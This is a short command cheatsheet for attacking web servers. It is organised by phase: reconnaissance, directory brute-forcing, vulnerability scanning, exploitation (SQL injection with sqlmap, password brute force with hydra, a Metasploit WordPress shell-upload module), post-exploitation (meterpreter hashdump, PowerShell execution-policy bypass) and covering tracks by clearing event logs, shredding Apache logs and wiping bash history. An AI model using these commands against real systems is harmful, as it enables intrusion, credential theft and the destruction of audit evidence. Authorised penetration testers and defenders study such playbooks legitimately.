Web Server Hacking Methodology - Practical Cheatsheet

# 1. Information Gathering

nmap -sV -p 80,443 <target> # Scan for services & versions

whatweb <target> # Identify technologies used

curl -I http://<target> # Grab server headers

wget http://<target>/robots.txt # Check for hidden files

theHarvester -d <domain> -l 200 -b google # Gather emails/domains

dnsrecon -d <domain> # DNS enumeration

# 2. Directory & File Enumeration

gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt

dirb http://<target> /usr/share/wordlists/dirb/common.txt

nikto -h http://<target> # Web server vulnerability scan

wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://<target>/FUZZ

# 3. Vulnerability Scanning

openvas-start # Start OpenVAS scanner

nessus # Nessus vulnerability scanner

nikto -h http://<target> # Quick vulnerability check

wpscan --url http://<target> # WordPress vulnerability scan

# 4. Exploitation

sqlmap -u 'http://<target>/page.php?id=1' --dbs

hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-get /admin

msfconsole # Launch Metasploit

use exploit/unix/webapp/wp\_admin\_shell\_upload

set RHOST <target>

# 5. Post Exploitation

meterpreter > sysinfo # System info

meterpreter > hashdump # Extract password hashes

powershell -exec bypass # Execute PowerShell payloads

net user # Windows user info

netsh advfirewall show allprofiles # Firewall status

# 6. Covering Tracks

meterpreter > clearev # Clear event logs

shred -u /var/log/apache2/access.log # Wipe web logs

echo > ~/.bash\_history # Clear bash history